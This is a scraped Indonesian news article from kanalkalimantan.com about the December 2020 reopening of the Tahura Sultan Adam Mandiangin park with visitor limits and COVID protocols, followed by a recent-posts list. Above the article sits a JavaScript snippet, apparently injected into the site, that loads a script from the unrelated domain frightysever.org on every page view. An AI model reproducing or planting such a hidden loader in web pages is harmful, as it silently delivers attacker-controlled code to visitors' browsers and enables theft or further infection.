(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Tahura Sultan Adam Dibuka Kembali 18 Desember, Pengunjung Dibatasi 1.000 per Hari


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah daerah siap membuka kembali objek destinasi wisata dengan ditunjang penerapan protokol kesehatan yang ketat.

Seperti direncanakan pada Jumat 18 Desember 2020 nanti, Pemerintah Provinsi (Pemprov) Kalsel secara resmi membuka kembali kawasan Taman Hutan Raya (Tahura) Sultan Adam Mandiangin di Kabupaten Banjar.

Informasi pembukaan destinasi wisata alam di Kalsel tersebut dibeberkan langsung oleh Pj Sekda Provinsi Kalsel, Roy Rizali Anwar.

“Ya, kawasan Tahura Sultan Adam Mandiangin akan dibuka hari Jumat nanti. Keputusan ini sudah kita pertimbangkan dengan sangat matang. Kita juga menjamin penerapan protokol kesehatan sudah siap diterapkan di sana,” ujarnya.

 

KawasanTahura Sultan Adam Mandiangin, Kabupaten Banjar yang menjadi salah satu objek wisata populer itu, menawarkan pemandangan bentang alam keindahan. Di kondisi normal, panorama matahari terbit menjadi satu atraksi yang tak bisa terlewatkan bagi para pengunjung yang camping di Bukit Besar Mandiangin.

Namun di tengah kondisi pandemi saat ini, Pemprov Kalsel harus merevisi segala mekanisme yang ada. Salah satunya, proses kunjungan yang lebih dulu dilakukan secara online.

Roy menerangkan, untuk berkunjung masyarakat harus mendaftarkan diri melalui situs yang dikelola pihak Tahura Sultan Adam. Hal ini katanya bertujuan untuk memantau kunjungan sesuai batasan yang ditetapkan Tahura Sultan Adam.

Adapun pengunjung dibatasi dengan kapasitas 50 persen. Yang mana pada normalnya kunjungan rata-rata mencapai 2.000 orang per hari, namun saat ini hanya cukup menerima kunjungan 1.000 orang saja.

“Tahura Sultan Adam dibuka dari pukul 08.00 Wita sampai 18.00 Wita. Itu artinya untuk pengunjung tidak diperbolehkan menginap,” terang Sekda Prov Kalsel.

Roy juga menjelaskan bahwa dalam setiap sepekan, kawasan Tahura akan ditutup pada hari Senin untuk dilakukan sterilisasi lewat penyemprotan disinfektan. Masyarakat yang ingin berkunjung juga harus dipastikan dalam keadaan sehat dan menaati protokol kesehatan.

“Pengunjung wajib menggunakan masker dan menjalani pengecekan suhu tubuh. Di sini kita juga menyiapkan banyak tempat cuci tangan. Petugas kami akan terus monitoring aktivitas pengunjung, tentunya menangkal jika ada kerumununan pengunjung. Semua ini akan terus kita evaluasi,” tandasnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.